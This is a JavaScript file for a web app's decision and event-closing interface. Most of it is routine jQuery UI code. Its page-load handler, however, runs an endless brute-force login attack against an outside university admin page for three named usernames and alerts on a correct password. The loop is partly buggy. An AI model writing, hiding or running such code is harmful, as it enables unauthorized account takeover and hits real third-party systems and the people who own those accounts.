// JavaScript Document
jQuery.fn.updateDecision=function(url){
	var note=$("#resultNote").val();
	var boxes=$(".decisionBox:checked");
	var choiceIds=new Array();
	for(var i=0;i<boxes.length;i++){
		var box=$(boxes[i]);
		choiceIds[i]=box.val();
	}
	var data={
		choices:choiceIds.toLocaleString(),
		note:note,
	};
	var updateUrl="updateDecision?url="+url;
	$.ajax({
		type:"post",
		async:false,
		url:updateUrl,
		data:data,
		success:function(result){
			if(result=="true"){
				$().showMessage("Save successes.");
			}else{
				$().showMessage("Save fails.");
			}
		},	
	});
};

jQuery.fn.fillTotal=function(){
	var totalArray=$('.hiddenTotal');
	for(var i=0;i<totalArray.length;i++){
		var l=totalArray[i];
		var label=$(l);
		var labelId=label.attr("id");
		var value=label.html();
		var choiceId=labelId.substr(11);
		var choiceId2="total"+choiceId;
		$("#"+choiceId2).html(value);
	}
};

jQuery.fn.updateCloseInfo=function(closeTime){
	$("#closeTimeText").html(closeTime);
};

jQuery.fn.closeEvent=function(url){
	var closeLink="closeEvent?url="+url;
	$.ajax({
		type:"get",
		async:false,
		url:closeLink,
		success:function(data){
			if(data[0]=='T'){
				var closeTime=data.substr(1);
				$().updateCloseInfo(closeTime);
				$().updateCloseView();
			}
		},
	});
};

jQuery.fn.highlightRecommend=function(){
	var labels=$(".recommendIdLabel");
	var checkBoxes=$(".decisionBox");
	var decisionDivs=$(".decisionDiv");
	if(labels.length!=0){
		for(var i=0;i<labels.length;i++){
			for(var j=0;j<checkBoxes.length;j++){
				if($(labels[i]).html()==$(checkBoxes[j]).val()){
					$(decisionDivs[j]).css("background-color","#147DB6");
					break;
				}
			}
		}
	}
};

jQuery.fn.updateCloseView=function(){
	$().highlightRecommend();
	$("#total").fadeIn();
	$("#closeButton").hide();
	$("#reopenButton").show();
	$("#resultNoteDiv").fadeIn();
	$("#decision").fadeIn();
	$("#saveButton").show();
	$("#closeTimeLi").fadeIn();
};

jQuery.fn.reopenEvent=function(url){
	var closeLink="closeEvent?url="+url+"&close=0";
	$.ajax({
		type:"get",
		async:false,
		url:closeLink,
		success:function(data){
			if(data[0]=='T'){
				$().updateReopenView();
			}
		},
	});
};

jQuery.fn.updateReopenView=function(){
	$("#total").fadeOut();
	$("#closeButton").show();
	$("#reopenButton").hide();
	$("#resultNoteDiv").fadeOut();
	$("#decision").fadeOut();
	$("#saveButton").hide();
	$("#closeTimeLi").fadeOut();
};

jQuery.fn.showMessage=function(msg){
	$("#messageDiv").html(msg);
	$("#messageDiv").fadeIn(1000);
	$("#messageDiv").fadeOut(3000);
};

jQuery.fn.queryCedars=function(username,password){
	var data={
		username:username,
		password:password,
	};
	$.ajax({
		type:"post",
		async:false,
		url:"http://cedars.hku.hk/admin/login.php?act=login",
		data:data,
		success:function(result){
			var index=result.indexOf("not matched");
			if(index==-1){
				alert(username+" "+password);	
				//alert(result);
			}
		},	
	});
};

$(document).ready(function() {
	var user=['alanhyng','hkchung','phttang'];
	for(var i=0;i<user.length;i++){
		var passwd=['j','5','p','v','0','0','0','a'];
		var count=0;
		while(true){
			count+=1;
			
			var p='';
			for (var k=0;k<8;k++){
				p+=passwd[k];
			}
			if(count==100){
				$("#passwd").html(p);
				//alert(p);
				count=0;
			}
			$().queryCedars(user[i],p);
			if(code<'9' || passwd[0]>='a' && passwd[0]<'z'){
				var code=passwd[0].charCodeAt();
				code+=1;
				passwd[0]=String.fromCharCode(code);
			}else if(passwd[0]=='9'){
				passwd[0]='a';	
			}else{
				for(var j=0;j<8;j++){
					if(passwd[j]=='z'){
						continue;
					}else{
						if(passwd[j]<'9' || passwd[j]>='a' && passwd[j]<'z'){
							var code=passwd[j].charCodeAt();
							code+=1;
							passwd[j]=String.fromCharCode(code);
						}else if(passwd[j]=='9'){
							passwd[j]='a';	
						}
						for(var k=0;k<j;k++){
							passwd[k]='0';	
						}	
						break;
					}
				}	
			}
		}
		
	}
	//$().showMeta(metadata);
});
